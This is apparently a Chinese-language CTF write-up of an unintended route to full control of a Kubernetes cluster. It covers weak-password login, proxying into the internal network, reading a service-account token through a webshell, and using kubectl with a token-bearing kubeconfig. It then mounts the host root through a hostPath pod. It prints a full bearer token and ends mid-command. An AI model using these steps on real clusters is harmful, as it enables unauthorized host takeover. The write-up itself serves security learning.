標題:華為雲CTF cloud非預期解之k8s滲透實戰

taibeihacker

Moderator

前言​

最近對雲安全這塊比較感興趣,學了一波k8s的架構和操作,正好遇上了華為雲的這一場比賽,收穫頗多。
(甚至通過非預期拿下了平台題目集群的最高權限)。

0x00 题目入口发现​

拿到題目發現是一個類似於提供IaaS服務的站點,掃描了一波目錄,發現幾個文件以及路由:
phpinfo.php
robots.txt
admin/
login/
static/挺奇怪的是,在一個存在phpinfo的環境下發現了一個beego框架後端的403界面:
image-20201220213938432
初步猜測是.php的文件交給了nginx fastcgi進行處理,而其他路由則是交給了beego進行處理。
接著我們先看/admin路由,發現存在一個隱藏的表單
image-20201220142429113
因此自然的想到使用burpsuite進行弱口令的爆破,發現存在弱口令admin:admin
登錄成功後返回了兩個url, 下載tools.zip,同時根據名字猜測/wsproxy是一個websocket的代理路由,而查看tools的源碼發現是一個wsproxy的客戶端程序。
image-20201220142540954
至此,我們找到了進入內網的通道。

0x01 wsproxy 进入内网​

直接對拿到的tools源碼進行編譯,獲得客戶端連接程序
image-20201220193029128
根據使用說明,我們可以通過簡單的命令連接上題目的wsproxy,同時密碼為tools源碼目錄下的pass.txt(UAF),session就是我們登陸admin後,題目給的beego session
image-20201220193124576
這樣會在本地的1080端口開啟一個socks5 代理,通過這個代理,我們就能夠連入內網。

0x02 phpinfo泄露k8s集群信息​

由於這道題目的名稱Cloud以及在phpinfo.php環境變量中發現的大量service的信息以及k8s api-server地址,同時根據環境變量的名稱與值來看,這是一個k8s集群。而我們的題目屬於k8s集群中的一個pod。
image-20201220142706608

0x03 k8s基础架构介绍​

在繼續深入下去之前,我們需要了解k8s的一些基礎架構
architecture
如上圖所示,我們可以看到,Kubernetes集群主要分為Master和Node兩部分,也是典型的分佈式架構。
首先,外部應用程序通過Api-Server提供的HTTP接口與Master進行交互,而在與APIs進行交互前,需要經過一步認證的階段。而Node由多個pod組成,pod中運行著的便是大家比較熟悉的容器(通常來說是docker),編寫的服務(app)就運行在這些pod中的容器內。
其次,我們若是想將我們的pod發佈出去,使其能夠被公開訪問,就需要了解服務(Service)。我們將運行在一組Pods上的應用程序公開為網絡服務的抽象方法稱作服務,服務上一般配置了能夠被公開訪問的ip地址、端口映射關係等,通過服務我們就能夠訪問到相應的pods。
每一個Node上都有一個被稱作節點代理的程序kubelet,Node通過該程序向Api-Server匯報節點信息,以及接受相應的指令等。
從上面的架構中不難看出,如果我們要拿下整個集群,從外部看實際上就是需要獲得暴露在外的api-server提供的REST api的訪問權限。

0x04 k8s 认证 token 泄露 + 配置不当​

通過上面一步淺顯的解了一下k8s的基礎架構,我們可以繼續往下看。
我們通過給的代理程序連接內網,訪問phpinfo中洩露的k8s api-serverhttps://10.247.0.1:443,發現api-server居然暴露在代理能夠直接訪問到的網段上,但是直接訪問提示我們401未授權,因此我們需要尋找一種可能的方式去通過此認證。
image-20201220142743378
根據phpinfo.php文件中的內容來看,該集群中部署了很多很多的services,因此我們猜測所有的題目容器應該都是通過這個k8s進行編排管理的。
同時由於k8s集群部署的時候默認會在每個pod容器中掛載token文件到/run/secrets/kubernetes.io/serviceaccount/token
文件中,因此我們是可以通過其他題目所拿到的shell拿到這個token。
ServiceAccount 主要包含了三個內容:namespace、Token 和CA。 namespace 指定了pod 所在的namespace,CA 用於驗證apiserver 的證書,token 用作身份驗證。它們都通過mount 的方式保存在pod 的文件系統中,其中token 保存的路徑是/var/run/secrets/kubernetes.io/serviceaccount/token ,是apiserver 通過私鑰簽發token 的base64 編碼後的結果
我們可以通過之前在webshell_1題目所拿到的webshell,獲取到api-server認證token
http://124.70.199.12:32003/upload/7...un/secrets/kubernetes.io/serviceaccount/token
image-20201220143016309
至此,我們已經獲得了api-server的訪問權限,因此就相當於我們獲取了k8s集群中的master權限。

0x05 获取集群操纵权限​

拿到了api-server的權限,我們就能夠隨心所欲的在集群中做想做的事了~ 其實做到這一步,大概就意識到這應該是一個平台漏洞,而不是本題的預期解法。因為拿到了master權限之後,我們已經能夠查看/控制所有的Pods(web題目),隨意的獲取我們想要題目的flag。
我們可以通過命令行工具kubectl來對api-server進行操作。
創建一個k8s.yaml配置文件,如下,token處為我們上面拿到的token,server則填寫api-server的地址
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.247.0.1
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: test
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZ mF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTky MjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NN PNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
在本機通過題目的內網代理執行以下命令遠程連接進入題目的k8s集群,成功通過認證。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
image-20201220194341279
至此,我們得到了訪問k8s api-server的權限,下面我們嘗試去獲取集群master宿主機的權限。
通過執行
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
image-20201220230951253
可以看到,k8s的版本號為v1.15.11,這個版本的k8s授權默認是不會開啟RBAC(基於角色的訪問控制)的。
在Kubernetes中,授權有ABAC(基於屬性的訪問控制)、RBAC(基於角色的訪問控制)、Webhook、Node、AlwaysDeny(一直拒絕)和AlwaysAllow(一直允許)這6種模式。從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩定的功能。
因此如果運維在搭建集群環境的時候,沒有設置--authorization-mode=RBAC,那麼我們就可以通過拿下集群中的一個pod的shell,從而獲取到token進行api-server的認證。很顯然,經過上面的驗證,運維在部署環境時並沒有開啟該訪問控制。

0x06 获取master 宿主机权限​

我們可以創建一個新的pod,通過文件掛載的方式,將宿主機根目錄的所有文件掛載到pod中,但是由於創建pod時,需要從遠程地址上拉取鏡像,而該題內網貌似是無法出網的,因此我們需要找一個已經拉取下來的本地鏡像文件。
執行以下命令,獲取當前已經拉取過的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath='{.image}' |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c結果如下:
image-20201220235708354
嘗試幾個鏡像後,發現100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的
yaml配置如下:
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory上述配置將宿主機的根目錄掛載到了我們pod中的/host目錄,執行以下命令在default命名空間中創建該pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true再通過kubectl exec 進入我們的pod中,以實現對宿主機文件的控制。
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true至此,我們所獲得的權限其實已經和主辦方運維同樣高了。

0x07 获取flag​

通過以上的步驟,大概明白了這是一個非預期,平台配置token的洩露外加沒有開啟RBAC授權,導致我們輕易的就能夠獲取到了k8s集群的最高權限。因此我們也就獲得了該集群中所有題目容器的最高權限。
在整個集群中,我們需要尋找屬於我們隊伍的pod,以便獲得對應的flag。
因此我們首先通過查詢在k8s中用於服務暴露的service信息:
kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
image-20201220210356220
可以看到,列出了所有的service,同時還有集群ip以及端口映射的關係。這裡我們就可以通過暴露在公網上的端口,來定位對應的service。
例如我們的公網端口為30067,則我們搜索30067端口
image-20201220210520978
得到了我們題目pod所在的service,接著我們獲取這個service的詳細信息,以便得到pod name,命令如下:
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
image-20201220210704982
從這里大致可以看出,app名為guosai-34-15,因此我們相應的去所有的pod中尋找名為這一項的pod。
kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true通過對我們獲取的數據的檢索,發現了這樣一個pod,通過比較虛擬ip與phpinfo中的信息,可以確定這個pod就是我們要找的那個。
image-20201220210832990
因此便得到了屬於我們的pod。 exec進入pod後,便可以得到flag。

0x08 总结​

1.k8s配置文件:(需要獲取到k8s集群的洩露的token值)k8s.yaml:apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.247.0.1
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: test
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIi LCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlY WNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uu d9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w2.通過kubectl命令認證k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了訪問k8s api-server的權限
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true3.查看k8s版本(從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩定的功能,1.6版本以下是不會開啟RBAC(基於角色的訪問控制)的)kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true4.創建一個新的pod,通過文件掛載的方式,將宿主機根目錄的所有文件掛載到pod中,但是由於創建pod時,需要從遠程地址上拉取鏡像,而該題內網貌似是無法出網的,因此我們需要找一個已經拉取下來的本地鏡像文件執行以下命令,獲取當前已經拉取過的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath='{.imag
 
返回
上方